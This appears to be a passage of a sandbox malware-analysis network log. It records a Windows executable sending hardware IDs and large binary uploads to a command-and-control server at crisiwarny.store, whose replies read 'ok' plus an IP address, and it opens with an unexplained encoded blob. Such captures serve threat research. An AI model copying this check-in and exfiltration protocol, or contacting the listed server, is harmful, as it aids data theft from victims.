83tMh3sQlZTIwvUE+R++Wg5/ZxveRGw1bTV/xnOADxmf1gW+d7WhiFE7AFghU55u6t+OH1IECGltoP/+Spkzeb4KBI8ySfnJeVc0Fage7ivO4styxzlNEHXk/6ZLnD5QtysIx3pUYHCoNiVwcWvmSg5/nyf+YBhxMKzHx3eBUv3+EjSHexGYdQk6AFmUX3Jazr/Xc4NsnCUxhXrzCp0zIf8qBf46cZiYdTsAGbwy8xurxoNW/j0EcHTMt/5KyTN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	104.21.95.91	443	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:55:07 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12851 Host: crisiwarny.store
2024-10-27 16:55:07 UTC	12851	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 42 30 33 42 44 33 35 34 38 30 41 33 35 43 38 32 30 41 33 31 44 46 38 41 36 38 41 33 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"6BB03BD35480A35C820A31DF8A68A32E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:55:08 UTC	1012	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:55:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kg5oh6qnip1cu6csjp4ak49vns; expires=Thu, 20 Feb 2025 10:41:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LfEg%2FtoIQBO6JNVuNRAVkHucP0BiHProeqWoOBdyceoXgf9ZCFf5BAQPqPe%2B9RsrEwyF2Wb9aQ77dTFJdkzm3zS%2FNzKOmcoWonvxV9q5B%2Fj8iSK5L0yUmoUHCzeromJHDp3y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9436426fac463e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2334&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13791&delivery_rate=1461150&cwnd=249&unsent_bytes=0&cid=750f86dcb6425a9a&ts=569&x=0"
2024-10-27 16:55:08 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 16:55:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49708	104.21.95.91	443	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:55:09 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15080 Host: crisiwarny.store
2024-10-27 16:55:09 UTC	15080	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 42 30 33 42 44 33 35 34 38 30 41 33 35 43 38 32 30 41 33 31 44 46 38 41 36 38 41 33 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"6BB03BD35480A35C820A31DF8A68A32E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:55:10 UTC	1011	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:55:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5dvh6mgp00ri7rqcq49o65lg3f; expires=Thu, 20 Feb 2025 10:41:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gPnH6ctG4wEygOcWZTYz0UWlId6Iuz1Z6N44Y83JQN5XceOgUhJP%2BvEB2ER%2B1akiOyCdUWWMUpI8NupDsAOkIXWyLxrvW2aC9yd%2BvgtlZMwedYxDt0DxoytPNVbh2NgOZi8c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d94364a7df3eb37-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1231&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16020&delivery_rate=2253696&cwnd=251&unsent_bytes=0&cid=3d5394b9ab330ea8&ts=566&x=0"
2024-10-27 16:55:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 16:55:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49709	104.21.95.91	443	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:55:11 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20247 Host: crisiwarny.store
2024-10-27 16:55:11 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 42 30 33 42 44 33 35 34 38 30 41 33 35 43 38 32 30 41 33 31 44 46 38 41 36 38 41 33 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"6BB03BD35480A35C820A31DF8A68A32E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:55:11 UTC	4916	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 Data Ascii: s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-10-27 16:55:12 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:55:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t2iclogrcov4hls4oafpvbef94; expires=Thu, 20 Feb 2025 10:41:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y%2FKx7CkyTzUv1BX6LPJPAAK6IFgfz%2Bytiyc4ezYY7lkA4DMN%2BbjMyNimNFY2cnCSgDshbQ3apBNQUBVOOeHbuIxfBvUx4feZrRD23%2FjgFVoHGfob43PaUFxOZJCmMb8M9rcv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d94365948ad4638-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1111&sent=10&recv=24&lost=0&retrans=0&sent_bytes=2839&recv_bytes=21209&delivery_rate=2475213&cwnd=251&unsent_bytes=0&cid=118ac33f7e78516f&ts=684&x=0"
2024-10-27 16:55:12 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 16:55:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49710	104.21.95.91	443	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:55:13 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1250 Host: crisiwarny.store
2024-10-27 16:55:13 UTC	1250	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 42 30 33 42 44 33 35 34 38 30 41 33 35 43 38 32 30 41 33 31 44 46 38 41 36 38 41 33 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"6BB03BD35480A35C820A31DF8A68A32E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:55:13 UTC	1012	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 16:55:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lqac2124a5i0vqv0c5q38f2hv9; expires=Thu, 20 Feb 2025 10:41:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G2ewyOdIncxHs4k4lrQMNWFXMegnBYTeJHMrHYTsSLIYfF2fvONeW2ZMoFKc7uiDEBFF6uOY%2Bg81O%2B3WmmThQ66YRY%2FeSIJFPO%2BmXQ5fY%2F09I8PV3SHQbdDDyek4qcatslvB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d943664185f6bb0-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1189&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2167&delivery_rate=2385502&cwnd=251&unsent_bytes=0&cid=cfb2494e1534ff8f&ts=490&x=0"
2024-10-27 16:55:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 39 30 0d 0a Data Ascii: 11ok 173.254.250.90
2024-10-27 16:55:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49711	104.21.95.91	443	7680	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-27 16:55:14 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 553920 Host: crisiwarny.store
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 42 42 30 33 42 44 33 35 34 38 30 41 33 35 43 38 32 30 41 33 31 44 46 38 41 36 38 41 33 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"6BB03BD35480A35C820A31DF8A68A32E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: 15 47 22 04 a6 fd 4b 74 3c 9a 48 88 1f cc 28 ec 0f 92 da 61 9a ed 1b 6c 1f 76 7f a9 29 7a c9 54 12 91 22 a4 60 8c 93 7e 7b 78 4c f9 57 58 40 74 e6 f3 c4 99 89 06 17 74 4b 85 cd d1 d4 9d 81 1b 63 57 8c b4 d6 af 9b 9b b6 a1 c4 9d 07 cd 69 b8 ab c6 0e aa ca cc 6f 2e 05 4d d2 92 b3 1a a4 f9 9e 26 31 15 29 5e a6 91 c5 07 99 55 4e e5 32 7a 2e 69 ab 93 1e fa 97 6c 59 53 93 05 26 6c 8d 50 c6 5f 21 f2 36 ba f9 31 04 d7 43 35 0a f8 23 ad 70 a9 d7 af ec f8 d6 8b 57 ab fd 37 56 41 c6 01 7a e8 38 ea ae 1e 43 54 0c 1d 23 a9 c3 d0 62 c9 96 75 42 9c 11 5d 47 a1 1a 15 86 7d 1e bb 33 fe 28 3d 06 62 94 f2 78 0d 97 41 b7 d2 1e 05 90 ad bd 7c e4 37 c0 38 f6 1a cf 14 24 cc c9 bc b6 9f f8 ab bf ce 7f 14 b5 b4 c3 c7 04 4d 4f 76 bb f1 62 30 db 5d e8 dc 3f 09 a5 eb 8f 23 32 af d5 Data Ascii: G"Kt<H(alv)zT"`~{xLWX@ttKcWio.M&1)^UN2z.ilYS&lP_!61C5#pW7VAz8CT#buB]G}3(=bxA\|78$MOvb0]?#2
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: 6d 9e 62 c9 e9 df d4 23 8e 2b 4d d4 a5 70 9f 3b db 41 8f d2 97 04 3e 24 57 61 87 76 7b 74 a2 26 df 72 56 0d 60 74 d6 d1 99 5b 16 a4 1a b4 5c cf 93 87 b6 53 a0 f5 62 b3 80 60 95 79 56 86 f6 0f c5 14 83 6d bc f8 3a 77 4b 79 b8 8d 79 f9 2b 2e d9 44 72 6d dc a5 a0 21 08 d5 a4 69 dd 46 bc 22 78 d0 e9 54 79 50 fc e2 51 05 73 4b 8e ac 4f d6 6f fa 08 c0 9d da de ac b5 ff 8c 2e 75 bf ed 16 36 22 da 33 57 f2 f6 40 dd c6 a0 4f 0f 85 db 4f 39 b9 54 1b e9 06 53 05 40 69 c3 77 f7 9e 25 d7 e0 d3 11 9f de 67 3e 76 e7 ce da f7 54 74 99 1a 71 3f f4 6b d9 bc 7e cb da 58 a3 bc 99 7d 5f 19 d0 7c 23 7a 55 bb f7 db 09 0d 34 c5 0f d0 62 e9 69 22 f5 10 44 9a be 71 3d 5a 2f 7a 6b a5 43 97 35 05 31 b0 22 c3 75 23 7c a0 de 04 00 56 df 5d 08 56 f9 60 e0 d5 04 18 b8 40 ad 1b 86 e0 fb Data Ascii: mb#+Mp;A>$Wav{t&rV`t[\Sb`yVm:wKyy+.Drm!iF"xTyPQsKOo.u6"3W@OO9TS@iw%g>vTtq?k~X}_\|#zU4bi"Dq=Z/zkC51"u#\|V]V`@
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: 8a fd 09 3b 05 f2 8e f6 bb 86 a7 6a 27 3e 9a e2 1e 5d ab 2b 1a 82 b3 a4 99 cc ec fe 6a ab df a8 e9 4f 6a 9f 1c 8a 55 aa ef a1 19 f7 d8 38 58 00 4a e2 85 f3 a1 14 99 68 8c 20 35 c9 5b 24 13 62 c5 ad 15 ee e9 36 12 87 c9 2d 7b 1c 48 37 ae 88 ff 52 0c 7c c6 c6 2d 67 1e 4a 0f ae 8c 73 ff b2 5e 31 12 23 d8 fd 1b 2e 40 10 0e 36 4a a2 76 db a7 cd d0 5d ff 54 08 af 94 5d 9c cb 0f 29 ae c4 65 26 cd f9 7c ea 95 04 69 91 ff 6b 8d fa 7f 97 43 15 b6 83 69 2c ea 84 3f e8 be 62 b5 0b e4 68 61 5c 26 f9 40 c3 6a c0 55 85 6b 4c 19 75 ec e7 8e a6 b5 63 07 c1 61 fe 78 a9 08 37 c8 72 f1 55 5c 08 0a 3e e9 0f 42 fb 0f 47 bb 5c 33 65 50 f0 59 56 43 83 f3 0b 49 58 90 aa f0 c3 98 7b b4 d1 49 96 73 34 f1 2a 36 e4 63 a3 31 f3 85 75 72 c8 41 54 df 5b 74 01 3f d4 55 5c 04 86 7b ea 8c Data Ascii: ;j'>]+jOjU8XJh 5[$b6-{H7R\|-gJs^1#.@6Jv]T])e&\|ikCi,?bha\&@jUkLucax7rU\>BG\3ePYVCIX{Is4*6c1urAT[t?U\{
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: dd df 59 4e 47 b5 27 ed 29 9e f7 e3 e0 7f 8c 55 41 bd e4 bc 48 5d d8 d3 38 2d f5 da d2 6c 97 36 c9 f8 e7 cc 24 ef 56 04 e0 d3 44 6c 75 d1 43 c4 22 46 9b d4 9d 52 d9 c8 89 3e 63 75 e0 5c 64 9b 4e d7 5e 3d 5a ea aa 48 77 d8 c5 fa 5e 65 fd 8f 4c 72 7e 38 07 2d 8c 42 6d 24 d0 43 ef 57 20 64 5a 00 35 2d ba 08 b1 4c ec de d0 a7 c3 3f 9c 98 6f 34 c2 86 bb 34 28 5b ba 66 da 27 0d 0d b2 f8 dd fb cb 6f 6f bc 14 a5 89 f0 db 00 3b 0c 4f 57 be ad ce 78 4a a6 08 24 d7 c9 46 1a d5 21 49 20 71 0c 75 6e eb e2 58 35 7a 3e be 54 23 1d be 23 bc f4 58 58 4d 2e d9 c2 36 23 01 27 2e b6 77 be 70 c7 36 6d 01 85 5b dc c9 f5 a7 b2 91 47 84 8d ab be ad 34 6a 05 ac 66 b6 b0 09 61 8d da 18 71 f0 ba 77 df 48 d6 94 04 f8 76 bf f1 10 96 1e 7c 8d 2a 2f bf 13 08 7e 45 8f 54 45 1a cb ab 0b Data Ascii: YNG')UAH]8-l6$VDluC"FR>cu\dN^=ZHw^eLr~8-Bm$CW dZ5-L?o44([f'oo;OWxJ$F!I qunX5z>T##XXM.6#'.wp6m[G4jfaqwHv\|*/~ETE
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: e4 56 53 8a 01 3a f9 38 23 a0 85 9c 45 3a b8 66 26 72 03 e0 c7 48 70 96 3b 26 bc 35 fd 9a 30 4d 3d b0 c5 49 74 6b 0a cc e6 a4 10 3a c6 f7 0e b4 a4 61 48 0a 03 d6 7d f4 c7 d2 9f 6e cd 0d 72 f3 db 4b 2c 8c a5 cd 10 5d 90 56 0e ce cb cf 8b 23 c8 86 9b 5d f3 6b 0c 20 f4 fa c6 16 b2 09 f6 b9 0c 31 b0 00 8e 4b ba 28 17 3e b4 6c c3 6a 6c 18 24 72 6c d6 32 51 8c af bd 6b 47 48 8e 9c 5b bc 16 af 8c 9e 59 44 c3 31 0f 75 21 b0 2f 15 68 a2 79 d3 95 d4 37 7e e1 64 1a f9 5c d4 69 0f 99 8c 62 4e 81 78 5a 44 d9 2c c3 74 77 a9 ca 6b 8d ee 9f d7 d1 28 30 b0 b8 da 74 04 66 c7 c0 9b fa 18 7e 70 9b 4c 7b f7 df 26 db 4d c0 a4 a9 01 cb 38 c7 fc 49 7f 3e e6 45 88 f1 17 55 17 03 ec f8 b0 5a 44 6f 4b 50 90 f9 30 e2 23 b2 2e a1 b8 43 e2 05 f2 78 fc 71 29 30 5d 0f 21 1a 56 0a 62 9c Data Ascii: VS:8#E:f&rHp;&50M=Itk:aH}nrK,]V#]k 1K(>ljl$rl2QkGH[YD1u!/hy7~d\ibNxZD,twk(0tf~pL{&M8I>EUZDoKP0#.Cxq)0]!Vb
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: 7f f6 df ae 4d 50 db 3a 3c 85 4a dd f5 7d e8 cf 50 79 f1 52 40 45 0c 96 50 f6 a3 61 54 d4 54 cf 69 87 0c c9 18 6a 1a 68 7d 1c 37 0a 91 cd c8 d3 20 bf 91 f5 80 6a db f9 c6 12 b7 25 8e b8 be 33 45 83 89 8a 0a 7d 2d db aa 8f 46 2e 24 da 12 6c b5 ce 0c d4 5a 6b b9 44 ec 10 2d 3d c9 4c 42 6a fb 6a fa ff b6 83 c3 53 84 3c 86 32 bc d1 af 65 e9 01 7d 51 82 0b 3a 76 43 8f 3d e7 dd b4 2a b8 ef 3c 3f 01 3e 4f 5e 31 81 a2 3d e5 39 79 6e bb 2f e0 76 a4 d5 13 80 16 26 84 ef 35 11 3f ee 66 8b 30 92 2e 25 3e 30 e9 c5 1c f7 31 de 99 ba 6b f2 34 39 c5 47 fe b5 2f cf 11 98 61 73 34 49 bd ea f9 54 ed bb a2 85 ab 04 db 91 06 cd 5b a9 66 35 49 9b 89 7f 5f 30 23 6b 20 8a e6 5b 95 72 ec dc 80 79 9d 31 c2 64 70 4e 2d d3 e6 05 a3 43 34 87 f5 c0 c7 55 63 93 2e 62 3a 8d 3d 03 72 e6 Data Ascii: MP:<J}PyR@EPaTTijh}7 j%3E}-F.$lZkD-=LBjjS<2e}Q:vC=*<?>O^1=9yn/v&5?f0.%>01k49G/as4IT[f5I_0#k [ry1dpN-C4Uc.b:=r
2024-10-27 16:55:14 UTC	15331	OUT	Data Raw: 5b c0 7b 76 48 a5 63 09 5e 81 cd 08 e6 9f ce e3 8f 2a 73 f4 54 44 cf 1d 2f d1 32 39 7f aa 9e 4c 16 42 f4 d6 d6 1e 05 8e 10 37 ff bc 3e c8 3a a9 cc dc de ed 29 25 33 d7 06 a5 78 89 68 fe 1b b6 1a 9e 9c e6 e7 aa d9 27 5b 64 f1 11 41 7e 84 86 25 11 62 d2 b9 c7 b4 db 25 bd 1e 85 fd 56 70 e0 45 0b 04 66 74 4d de 31 f1 cf 90 e5 bc 24 d1 aa 78 b4 e2 50 ce 1c fd ce 44 83 20 1b 35 f4 84 ad 87 ec f6 af 6c d1 d9 16 fa b3 5e 37 67 8e 91 e0 39 6e ea b4 5a 64 58 17 d6 7e 9c 84 30 d1 10 28 fa 4e 99 e9 24 6c 6a 64 66 44 32 dc 78 cd 9f 05 19 3e 2f b8 83 71 21 4c 7d a6 41 03 4d 10 fa 25 b7 93 79 c9 c2 f1 12 b3 16 5a fb de 7b 8c a5 6d 38 de 01 a4 64 04 5f 0b 25 2d 21 67 e5 6a d7 34 9a 44 d5 e5 68 e2 f2 11 7e d0 b0 30 51 91 a2 98 95 fe 38 04 e5 9e 29 00 27 19 80 4b 4b 85 4d Data Ascii: [{vHc^*sTD/29LB7>:)%3xh'[dA~%b%VpEftM1$xPD 5l^7g9nZdX~0(N$ljdfD2x>/q!L}AM%yZ{m8d_%-!gj4Dh~0Q8)'KKM
